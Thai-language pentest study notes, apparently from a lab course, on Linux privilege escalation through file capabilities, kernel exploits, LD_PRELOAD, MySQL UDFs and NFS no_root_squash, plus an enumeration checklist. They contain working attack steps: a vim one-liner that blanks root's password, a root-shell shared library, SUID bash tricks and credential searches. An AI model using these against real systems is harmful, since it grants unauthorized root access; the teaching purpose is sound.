Permitted: สิทธิ์ที่ Process ได้รับอนุญาตให้มี และอาจเปิดใช้งานใน Effective Set ได้ Effective: สิทธิ์ที่ Kernel ใช้ตรวจสอบว่าขณะนี้ Process สามารถดำเนินการบางอย่างได้หรือไม่ Inheritable: สิทธิ์ที่สามารถมีส่วนในการคำนวณ Capability ของ Process หลังจาก execve() ภายใต้เงื่อนไขที่กำหนด


Step 1 - Initial Enumeration

id
whoami
uid=1000(user) gid=1000(user) groups=1000(user)

ตรวจสอบว่ามีเครื่องมือ Getcap ไหม (ใช้เช็คFile Capabilities)

command -v getcap
usr/sbin/getcap

Step 2 - Enumerate File Capabilities

find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

เพิ่มเติม getcap -r / 2>/dev/null ใช้สำหรับหาจาก Root Directory

/usr/bin/vim.basic cap_dac_override=eip
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep

Step 3 - Analyze Suspicious Capabilities

/usr/bin/vim.basic

cap_dac_override=eip

Text editor ได้รับสิทธิ์ข้าม File Permission Checks


Step 4 - Inspect the Target Binary ตรวจสอบ Capability ของ Vim โดยเฉพาะ

getcap /usr/bin/vim.basic

Output

/usr/bin/vim.basic cap_dac_override=eip

CAP_DAC_OVERRIDE คืออะไร?

DAC ย่อมาจาก Discretionary Access Control เป็นกลไกควบคุมสิทธิ์การเข้าถึงไฟล์ตาม Owner, Group, Permission และ ACL

Example

-rw------- 1 root root confidential.txt

User ทั่วไปไม่สามารถ Read or Write ไฟล์นี้ได้ แต่ Process ที่มี Capabilities สามารถ DAC Permission Override


Step 5 - Analyze the target file

ตรวจสอบข้อมูลบัญชี root

cat /etc/passwd | head -n1

Output

root:x:0:0:root:/root:/bin/bash

ตรวจสอบ Permission

ls -la /etc/passwd

Example output

-rw-r--r-- 1 root root /etc/passwd

Step 6 - Exploitation Concept โจทย์คือ Vim ที่มี CAP_DAC_OVERRIDE เพื่อแก้ไข Password Field ของบัญชี root ใน /etc/password โดยเปลี่ยนจาก x ให้กลายเป็นค่าว่าง

หลังจาก Enum และทราบว่า vim.basic ได้รับการกำหนด cap_dac_override=eip ซึ่งสามารถbypass DAC ได้

ใช้ vim.basic เพื่อแก้ไขไฟล์

/usr/bin/vim.basic /etc/passwd

non-interactive mode

echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic

เช็ค/etc/password

root::0:0:root:/root:/bin/bash

NFS and Internal Services

no_root_squash ใน /etc/exports, shared library, บริการที่ฟังแค่ localhost และ kernel exploit เป็นทางสุดท้าย

Linux Internal Services คือ Service หรือ Process ที่ทำงานอยู่ภายในเครื่อง Linux เพื่อให้บริการแก่ระบบปฏิบัติการ Application หรือ Process อื่น ๆ โดยบาง Service เปิดให้เข้าถึงจากภายนอกได้ ขณะที่บาง Service อนุญาตให้เข้าถึงได้เฉพาะภายในเครื่องเท่านั้น

Linux Internals Privilege Escalation Techniques:

Kernel Exploits

หัวข้อย่อยใน NFS and Internal Services

Linux Kernel คืออะไร?

ภาพประกอบ “Pasted image 20261202091528.png” ยังไม่มีไฟล์ในคลังเนื้อหา Kernel = ส่วนกลางของ OS ควบคุม Resource และการเข้าถึง Hardware และถูกแบ่งการทำงานเป็น 2 ส่วน ได้แก่ User Space (Bash, Python etc.), Kernel Space

Kernel เป็นคนจัดการสิทธิ์และบังคับให้ใช้สิทธิ์ หาก Kernel มีช่องโหว่ ผู้ใช้ทั่วไปอาจสามารถทำให้การตรวจสอบสิทธิ์ผิดพลาด หรือทำให้ข้อมูลสิทธิ์ของ Process ถูกเปลี่ยนแปลงได้


Step 1: Enumerate ตรวจสอบข้อมูล Kernel

uname -a
Linux NIX02 4.4.0-116-generic #140-Ubuntu SMP
Mon Feb 12 21:23:04 UTC 2018
x86_64 x86_64 x86_64 GNU/Linux

ตรวจสอบข้อมูล OS

cat /etc/os-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"

Linux Kernel 4.4.0-116 on an Ubuntu 16.04.4 LTS box

ต้องตรวจสอบทั้ง OS, Kernel เพราะ Linux Distribution อาจมีการแก้ไชช่องโหว่ย้อนหลัง

รุ่นเก่า ไม่เท่ากับ มีช่องโหว่

Step 2: Identify Vulnerabilities

ตัวอย่าง Kernel Vulnerabilities

Vulnerability CVE ประเภท
Dirty COW CVE-2016-5195 Race Condition
Dirty Pipe CVE-2022-0847 Pipe Buffer Vulnerability
PwnKit CVE-2021-4034 Polkit User-space Vulnerability

Step 4: Confirm Exploit ตรวจสอบ factor อื่นๆ

id
uname -r
uname -m
cat /etc/os-release
dpkg -l | grep linux-image
command -v gcc

Step 5: รัน Exploit code

gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit

ทำการกำหนดชื่อ Output Binary และเพิ่ม Execute Permission

run the exploit

./kernel_exploit

Output (ของ POC)

task_struct = ffff8800b71d7000
uidptr = ffff8800b95ce544
spawning root shell

LD_PRELOAD

หัวข้อย่อยใน NFS and Internal Services

LD_PRELOAD Privilege Escalation

ทำไมถึง Privilege Escalation ได้? สมมติว่าผู้ใช้ทั่วไปมี UID 1000 และได้รับอนุญาตให้รันโปรแกรมบางตัวผ่าน sudo โปรแกรมสามารถโหลด Library ที่ผู้ใช้เป็นคนกำหนดได้ Library นั้นก็อาจทำงานภายใน Process ที่มีสิทธิ์ root

Step 1: Enumerate Sudo Permissions

sudo -l
Matching Defaults entries for daniel.carter on NIX02:

    env_reset,
    mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    env_keep+=LD_PRELOAD

User daniel.carter may run the following commands on NIX02:

    (root) NOPASSWD: /usr/sbin/apache2 restart

อธิบาย Sudo Config

Configuration ความหมาย
env_reset Reset Environment Variables ตามนโยบาย sudo
mail_badpass สามารถส่งอีเมลแจ้งเตือนเมื่อใส่รหัสผิด
secure_path กำหนด PATH สำหรับคำสั่งที่รันผ่าน sudo
env_keep+=LD_PRELOAD เพิ่ม LD_PRELOAD ในรายการ Environment Variables ที่อนุญาตให้เก็บไว้
(root) อนุญาตให้รันคำสั่งในฐานะ root
NOPASSWD ไม่ต้องกรอกรหัสผ่านสำหรับคำสั่งที่อนุญาต

จุดที่น่าสงสัยคือ env_keep+=LD_PRELOAD

เพราะเป็นการอนุญาต Environment Variable ที่สามารถส่งผลต่อกระบวนการโหลด Code ของโปรแกรม

Absolute Path ป้องกันไม่ได้

ช่วยลดความเสี่ยงจาก Path Hijacking ของ exe แต่ไม่ป้องกัน shared libraries


Step 2: Understand the Custom Shared Library มี source code ตัวอย่าง ชื่อ root.c เพื่อนำไป Compile เป็น Shared Library ชื่อ root.so

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Header Files

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
Header หน้าที่
stdio.h ประกาศ Function สำหรับ Input/Output
sys/types.h ประกาศ Data Types ของระบบ เช่น UID และ GID
stdlib.h ประกาศ unsetenv() และ system()
unistd.h ประกาศ setuid() และ setgid()

Initialization Function

void _init()

สมมติว่า Apache ไม่เคยรู้จัก root.so มาก่อน และไม่มี Source Code ส่วนไหนเรียก Function จาก root.so เลย Dynamic Linker ก็ยังสามารถเรียก Initialization Function ของ Library ได้ ไม่จำเป็นต้องแก้ไข Source Code ของ Apache

Analyze Function in Library

Function หน้าที่
unsetenv("LD_PRELOAD") ลบค่า LD_PRELOAD ออกจาก Environment ของ Process
setgid(0) ร้องขอให้เปลี่ยน Group ID เป็น root
setuid(0) ร้องขอให้เปลี่ยน User ID เป็น root
system("/bin/bash") เรียก Bash ผ่าน Shell
เมื่อ Library ถูกโหลดแล้ว การลบ Environment Variable นี้จะไม่ทำให้ Library ที่อยู่ใน Memory ถูกนำออก
จุดประสงค์คือป้องกันไม่ให้โปรแกรมลูกที่ถูกสร้างขึ้นภายหลังได้รับค่า LD_PRELOAD เดิมและพยายามโหลด Library ซ้ำโดยไม่จำเป็น

Step 3: Compile Source Code ด้วย GCC

gcc -fPIC -shared -o root.so root.c -nostartfiles
Argument ความหมาย
gcc GNU C Compiler
-fPIC สร้าง Position Independent Code
-shared สร้าง Shared Object
-o root.so กำหนดชื่อ Output File
root.c Source Code ภาษา C
-nostartfiles ไม่ Link Standard Startup Object Files

Step 4: Execute Flow

sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
องค์ประกอบ หน้าที่
sudo เรียกโปรแกรมภายใต้สิทธิ์ที่ได้รับอนุญาต
LD_PRELOAD ระบุ Shared Library เพิ่มเติม
/tmp/root.so ตำแหน่งของ Custom Shared Library
/usr/sbin/apache2 restart คำสั่งที่ได้รับอนุญาตตาม Sudo Policy
Phase 1: User Process (UID=1000) -> sudo ตรวจสอบ Policy -> เริ่ม Apache Process (UID=0/EUID=0)

Phase 2: Dynamic Linker -> โหลด Custom Shared Library -> Library Initialization(Code ทำงานด้วย Credential ของ Process)


Step 5: verify result

id
uid=0(root) gid=0(root) groups=0(root)

MySQL Running as Root

หัวข้อย่อยใน NFS and Internal Services

เทคนิคนี้เป็นการเพิ่มสิทธิ์ผ่าน MySQL Service ที่มีการตั้งค่าไม่ปลอดภัย โดยอาศัยความสามารถของ MySQL ในการโหลด Shared Library (.so) เพื่อเพิ่ม Function ที่สามารถทำงานในระดับ Operating System ได้ หาก MySQL ทำงานด้วยสิทธิ์ root และผู้ใช้สามารถควบคุม Shared Library ที่ MySQL โหลดได้ Code ภายใน Library ก็อาจทำงานด้วยสิทธิ์ root เช่นกัน

Step 1: Identify MySQL Process Privileges

ps aux | grep mysql
root  812  0.0  3.1 1823848 127528 ? Ssl 21:00 /usr/sbin/mysqld

Step 2: Connect to MySQL and Identify Plugin Directory

mysql -u root -pR00tMySQL2023! -e "SELECT @@plugin_dir;"
+------------------------+
| @@plugin_dir           |
+------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------+

เรียกดูข้อมูล System Variable ที่เก็บตำแหน่ง Plugin Directory


Step 3: UDF Shared Library

lib_mysqludf_sys.so

ไฟล์นี้คือ Third-party Shared Library ที่เพิ่มความสามารถให้ MySQL สามารถเรียกใช้ Function ที่เกี่ยวข้องกับ Operating System ได้

UDF คืออะไร

User Defined Function: เป็น function เพิ่มเติมที่อยู๋ใน Shared Library ที่เราเขียนขึ้นเอง หลักการนี้คล้ายกับ LD_PRELOAD และ Shared Libraries


Step 4: เชื่อม mySQL ด้วย mySQL Root และ Register UDF Function

mysql -u root -pR00tMySQL2023! << 'EOF'  
USE mysql;  
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';  
SELECT sys_exec('chmod u+s /bin/bash');  
EOF

ลงทะเบียน Function จาก Shared Library เพื่อให้เรียกใช้ผ่าน SQL ได้ พร้อมเรียกใช้ Function sys_exec ซึ่งเป็น Function ที่ถูกเขียนไว้ในไฟล์ .so


Step 5: Execute OS Command

SELECT sys_exec('chmod u+s /bin/bash');

เรียก Function sys_exec() เพื่อให้ MySQL ดำเนินคำสั่งระดับ Operating System ซึ่งมีวัตถุประสงค์เพื่อเปลี่ยน Permission ของ Bash


Step 6: เปิด Bash Shell ใหม่

bin/bash -p

NFS

หัวข้อย่อยใน NFS and Internal Services

NFS ย่อมาจาก Network File System เป็น Protocol ที่อนุญาตให้เครื่อง Client สามารถเข้าถึง File System ของเครื่อง Server ผ่าน Network ได้ ผู้ใช้สามารถ Mount Directory จากเครื่อง Server มาใช้งานเสมือนเป็น Directory ภายในเครื่องของตัวเอง โดยไม่จำเป็นต้องคัดลอกไฟล์ทั้งหมดมายังเครื่อง Client

NFS จัดการ User Permission ยังไง

User UID GID
root 0 0
www-data 33 33
student 1000 1000
nobody โดยทั่วไป 65534 โดยทั่วไป 65534
สำหรับ NFS ที่ใช้ Authentication แบบ AUTH_SYS เครื่อง Client จะส่งข้อมูล UID และ GID ไปยัง Server เพื่อใช้ประกอบการตรวจสอบสิทธิ์

ปัญหาคือ root ของเครื่อง Client และ root ของเครื่อง Server เป็นคนละบัญชีกัน แต่ทั้งสองบัญชีมี UID เป็น 0 เหมือนกัน

หาก Server เชื่อถือ UID 0 จาก Client โดยไม่มีข้อจำกัด ผู้ดูแลเครื่อง Client อาจได้รับสิทธิ์ระดับสูงบน Shared Directory ของ Server ด้วย จึงต้องมี Root Squashing

root_squash คืออะไร

เป็นกลไกที่ป้องกันไม่ให้ root จากเครื่อง Client ได้รับสิทธิ์ root บน NFS Server โดยตรง หลักการคือ: เมื่อ Client ส่ง UID 0 มายัง Server ระบบจะ Map UID ดังกล่าวเป็น Anonymous UID ซึ่งโดยทั่วไปคือ 65534

no_root_squash คืออะไร

no_root_squash เป็น Configuration ที่ปิดกลไก Root Squashing


Step 1: Enumerate NFS Configuration

cat /etc/exports
/srv/share *(rw,no_root_squash,no_subtree_check)
/home/backup 192.168.1.0/24(ro,sync)

ดูExport แรก

/srv/share *(rw,no_root_squash,no_subtree_check)
Configuration ความหมาย
/srv/share Directory ที่ Server แชร์ออกไป
* อนุญาต Client ทุก Host ตาม Export Rule
rw อนุญาตการอ่านและเขียน
no_root_squash ไม่ลดสิทธิ์ Remote root
no_subtree_check ปิดการตรวจสอบ Subtree ของ Export
จุดที่มีความเสี่ยงคือการใช้ *, rw และ no_root_squash ร่วมกัน

Step 2: Enumerate NFS Shares ตรวจสอบ Directory ที่ NFS Server เปิดให้ Client เข้าถึงด้วยคำสั่ง

showmount -e 10.10.10.100
Export list for 10.10.10.100:
/srv/share *

Mount คือการเชื่อม File system เข้ากับ Directory ภายใน Linux ตัวอย่าง

no_root_squash

มีปัญหา เมื่อ Remote Root อาจสามารถสร้างไฟล์ที่มี root เป็น owner บน server และกำหนด Special Permission ให้กับไฟล์ดังกล่าวได้


Step 3: สร้าง Mount Point Attacker Machine

mkdir /tmp/nfs 

สร้าง Directory ชื่อ nfs ภายใน /tmp เพื่อใช้เป็น Mount Point สำหรับเข้าถึง NFS Share ของเครื่อง Victim

Mount NFS Share

mount -o rw,vers=2 10.10.10.100:/srv/share /tmp/nfs
Argument ความหมาย
mount เชื่อมต่อ File System เข้ากับ Directory
-o ระบุ Mount Options
rw ขอสิทธิ์อ่านและเขียน
vers=2 ใช้ NFS Protocol Version 2
10.10.10.100:/srv/share Directory ที่เครื่อง Victim เปิดแชร์
/tmp/nfs Mount Point บนเครื่อง Kali

หลัง Mount

หมายความว่าไฟล์ที่ถูกสร้างผ่าน /tmp/nfs บน Kali จะถูกจัดเก็บอยู่ใน /srv/share บน Victim ตามสิทธิ์ที่ NFS Server อนุญาต


Step 4: Bash binary copy and SUID Permission

cp /bin/bash /tmp/nfs/rootshell && chmod u+s /tmp/nfs/rootshell

เพิ่มสิทธิ์ SUID ให้ File Owner


Step 5: Back on the victim

/srv/share/rootshell -p

รัน rootshell ด้วย privilege mode

Shared Libraries

หัวข้อย่อยใน NFS and Internal Services

Library คืออะไร

Library คือชุด Code หรือ Function ที่ถูกสร้างไว้ให้โปรแกรมอื่นนำกลับมาใช้งานได้ โดยไม่จำเป็นต้องเขียน Function เดิมซ้ำทุกครั้ง

Static Library vs Dynamic Library

คุณสมบัติ Static Library Dynamic Library
นามสกุล .a .so
การเชื่อมโยง ตอน Link โปรแกรม โหลดเมื่อโปรแกรมทำงาน
Library Code รวมอยู่ใน Binary แยกจาก Binary
ขนาด Binary มักใหญ่กว่า มักเล็กกว่า
การอัปเดต Library มักต้อง Link ใหม่ เปลี่ยน Library ได้หาก Compatible
Library Hijacking ไม่เกิดผ่านการโหลด Static Library เดิม อาจเกิดได้หากตั้งค่าผิด

Dynamic Linker: เมื่อเราต้องการเรียกใช้ Shared Libraries หลายตัว Dynamic Linker จะค้นหาและโหลด Library นั้น เข้าสู่ Memory

Dynamic Linker ค้นหา Library จากที่ไหน

เมื่อเรา Execute โปรแกรมบน Linux โปรแกรมที่ใช้ Dynamic Linking จะไม่ได้มี Code ทุกอย่างอยู่ภายใน Binary ของตัวเอง แต่จะต้องอาศัย Shared Libraries (.so) จากภายนอกเพื่อให้สามารถทำงานได้

สำหรับ Linux ที่ใช้ glibc เมื่อ dependency ไม่มี / อยู่ภายใน Dynamic Linker จะค้นหา Library ตามลำดับดังนี้

  1. DT_RPATH ตำแหน่งที่ฝังอยู่ใน Binary (เมื่อไม่มี DT_RUNPATH)
  2. LD_LIBRARY_PATH ตำแหน่งที่กำหนดผ่าน Environment Variable
  3. DT_RUNPATH ตำแหน่งที่ฝังอยู่ใน Binary แบบใหม่
  4. /etc/ld.so.cache ค้นหาจาก Cache ของระบบ
  5. Default Directories /lib, /usr/lib และ Architecture-specific directories

Dynamic Linker อ่าน LD_PRELOAD และนำมาใช้ระหว่างโหลด Shared Libraries ก่อนโปรแกรมจะเริ่มใน main()

Practical Linux Privilege Escalation Checklist

เช็กลิสต์สำรวจระบบแบบเป็นขั้นตอน

Step 1: Identity and Operating System Enumeration

Purpose: ตรวจสอบว่าปัจจุบันเราเป็นใคร มีสิทธิ์อะไร และกำลังทำงานอยู่บนระบบปฏิบัติการอะไร

whoami
id
hostname
uname -a
cat /etc/os-release
pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 2: Enumerate Sudo Permissions

Purpose: ตรวจสอบว่าผู้ใช้ปัจจุบันได้รับอนุญาตให้เรียกคำสั่งใดผ่าน sudo

sudo -l

for Non-interactive:

sudo -n -l

Looking for:

Finding ความเสี่ยงที่ต้องวิเคราะห์
NOPASSWD สามารถเรียกคำสั่งที่กำหนดโดยไม่ต้องใช้ Password
(root) คำสั่งสามารถทำงานด้วยสิทธิ์ root
(ALL : ALL) อาจได้รับอนุญาตให้เลือก User และ Group
SETENV อาจควบคุม Environment Variables ได้
Custom Script ตรวจสอบ Ownership และ Write Permission
Wildcard * ตรวจสอบขอบเขต Argument ที่ได้รับอนุญาต

Step 3: Enumerate SUID and SGID Binaries

Purpose: ค้นหา Executable ที่มี Special Permissions

SUID

find / -type f -perm -4000 -ls 2>/dev/null

SGID

find / -type f -perm -2000 -ls 2>/dev/null

Looking for:

ตรวจสอบว่าไฟล์เป็นของ User ใด อยู่ใน Directory ใด และเป็น System Binary หรือ Custom Binary

-rwsr-xr-x 1 root root ...
Permission ความหมาย
-rwsr-xr-x SUID Enabled
-rwxr-sr-x SGID Enabled
root root Owner และ Group เป็น root

Step 4: Enumerate Linux Capabilities

Purpose: ตรวจสอบ Executable ที่ได้รับสิทธิ์พิเศษผ่าน Linux Capabilities

getcap -r / 2>/dev/null

Looking for:

Capability ความสามารถ
CAP_SETUID เปลี่ยน User ID
CAP_SETGID เปลี่ยน Group ID
CAP_DAC_OVERRIDE ข้ามข้อจำกัด File Permission บางประเภท
CAP_DAC_READ_SEARCH ข้ามข้อจำกัดการอ่านและค้นหาไฟล์
CAP_SYS_ADMIN สิทธิ์ในการจัดการระบบหลายประเภท
CAP_SYS_PTRACE ตรวจสอบหรือควบคุม Process ภายใต้เงื่อนไขที่กำหนด
CAP_SETFCAP กำหนด File Capabilities
Decision: วิเคราะห์ว่า Capability ที่ได้รับเหมาะสมกับหน้าที่ของ Executable หรือไม่

Step 5: Enumerate Scheduled Tasks

Purpose: ตรวจสอบ Scheduled Tasks ที่อาจทำงานด้วยสิทธิ์สูง

cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
crontab -l

Looking for:

Finding สิ่งที่ต้องตรวจสอบ
Root Cron Job Job ทำงานด้วยสิทธิ์ของใคร
Custom Script ใครเป็นเจ้าของ Script
Writable Script ผู้ใช้ทั่วไปแก้ไขได้หรือไม่
Relative Path มีการระบุ Absolute Path หรือไม่
Writable Directory Directory ที่เกี่ยวข้องมี Permission เหมาะสมหรือไม่
Decision: ตรวจสอบทั้งตัว Scheduled Task, Script และ Directory ที่เกี่ยวข้อง

Step 6: Enumerate Writable Files and Directories

Purpose: ตรวจสอบไฟล์และ Directory ที่ผู้ใช้ปัจจุบันสามารถเขียนได้ โดยเน้นตำแหน่งที่เกี่ยวข้องกับ System Services และ Custom Applications

find /etc /opt /usr/local /var/www \
-type f -writable 2>/dev/null
find /etc /opt /usr/local /var/www \
-type d -writable 2>/dev/null

Looking for:

Location สิ่งที่ต้องตรวจสอบ
/etc System Configuration
/opt Custom Applications
/usr/local/bin Custom Executables
/usr/local/sbin Administrative Executables
/var/www Web Application Files
ตรวจสอบ Permission ของไฟล์ที่พบเพิ่มเติมด้วย
ls -la /path/to/file
stat /path/to/file
namei -l /path/to/file

Step 7: Check Critical File Permissions

Purpose: ตรวจสอบ Permission ของไฟล์สำคัญในระบบ Linux

ls -l /etc/passwd
ls -l /etc/shadow
ls -l /etc/group
ls -l /etc/sudoers
ls -ld /etc/sudoers.d

Decision: ตรวจสอบว่าผู้ใช้ทั่วไปสามารถแก้ไขไฟล์สำคัญโดยไม่ได้รับอนุญาตหรือไม่


Step 8: Review Credential Exposure

ตรวจสอบความเสี่ยงจากการจัดเก็บ Credential ไม่เหมาะสม

ตรวจสอบชื่อ Environment Variables ที่อาจเกี่ยวข้องกับข้อมูลสำคัญ

printenv | cut -d= -f1 | grep -iE 'pass|key|secret|token'

ตรวจสอบ Metadata ของ History Files

ls -la ~/.bash_history ~/.zsh_history 2>/dev/null

ตรวจสอบ Configuration Files ของ Application

find /opt /var/www -type f \
\( -name "*.conf" -o -name "*.ini" -o -name ".env" \) \
-readable 2>/dev/null

Looking for: Password, Database Config file, API Token, Shell History, Readable .env


Step 9: Enumerate Linux Internal Services

Purpose: ตรวจสอบ Service ที่กำลังทำงาน รวมถึง Service ที่อาจไม่ได้เปิดให้เข้าถึงจากภายนอก

ss -tlnp
ss -ulnp
ps aux
systemctl list-units --type=service --state=running

Decision: ตรวจสอบ Process Owner, Service Configuration และ Authentication Mechanism ของ Service ที่พบ


Step 10: Enumerate NFS Configuration

Purpose: ตรวจสอบการตั้งค่าของ Network File

cat /etc/exports
findmnt -t nfs,nfs4
ls -l /etc/exports.d/ 2>/dev/null

Looking for: /srv/share *(rw,no_root_squash,no_subtree_check)


Step 11: Enumerate Privileged Group Memberships

Purpose: ตรวจสอบวาผู้ใช้ปัจจุบันเป็นสมาชิกของ Group ที่มีสิทธิ์เกี่ยวข้องกับการจัดการระบบหรือไม่

id
groups

Looking for:

Group ความสามารถที่อาจได้รับ
sudo เรียกคำสั่งผ่าน sudo ตาม Policy
docker จัดการ Docker Daemon
lxd จัดการ LXD Containers
disk เข้าถึง Block Devices ตาม Permission
adm อ่าน System Logs บางประเภท
shadow อาจอ่าน Password Hashes ตาม File Permission
libvirt จัดการ Virtual Machines ตาม Configuration
Decision: Group Membership เป็น Indicator ที่ต้องตรวจสอบร่วมกับ Service และ Resource Permissions ไม่ใช่หลักฐานว่าได้รับ root แล้ว

Step 12: Review PATH and Shared Library Configuration

Purpose: ตรวจสอบ Environment Variables และ Dynamic Linking ที่เกี่ยวข้องกับ Executable

echo "$PATH"
printf '%s\n' "$PATH" | tr ':' '\n'
cat /etc/ld.so.conf
ls -la /etc/ld.so.conf.d/

สำหรับตรวจสอบ ELF Binary ที่พบจากขั้นตอน Enumeration:

file /path/to/binary
readelf -d /path/to/binary
strings /path/to/binary

Looking for:

Finding ความเสี่ยงที่ต้องวิเคราะห์
Writable PATH Directory การค้นหา Executable อาจไม่ปลอดภัย
Relative Command Path Program อาจค้นหาคำสั่งผ่าน PATH
RPATH Library Search Path
RUNPATH Library Search Path สำหรับ Dependency
NEEDED Shared Library Dependency
Writable Library Directory Library Integrity Risk

Decision: ตรวจสอบว่า Path หรือ Library ที่พบสามารถถูกควบคุมโดยผู้ใช้สิทธิ์ต่ำได้หรือไม่ และ Executable ทำงานภายใต้สิทธิ์ใด


Step 13: Automated Enumeration — LinPEAS

Purpose: ใช้ Automated Enumeration Tool เพื่อช่วยตรวจสอบข้อมูลที่อาจตกหล่นจาก Manual Enumeration

LinPEAS สามารถช่วยตรวจสอบ Sudo Permissions, SUID, Capabilities, Scheduled Tasks, Services และ System Misconfiguration


Step 14: Kernel Version Assessment Purpose: ตรวจสอบ Kernel Version และ Security Patch Level

uname -r
uname -m
cat /etc/os-release

สำหรับ Debian และ Ubuntu:

dpkg -l | grep linux-image

Looking for: ตรวจสอบ Kernel Version, Architecture, Distribution และ Security Advisory ที่เกี่ยวข้อง

Decision: ไม่ควรสรุปว่ามีช่องโหว่จาก Version Number เพียงอย่างเดียว เนื่องจาก Distribution อาจมีการ Backport Security Patches โดยไม่ได้เปลี่ยน Major Version

Graph view

18 โน้ต · 28 ลิงก์คลิกจุดเพื่อไปยังเนื้อหา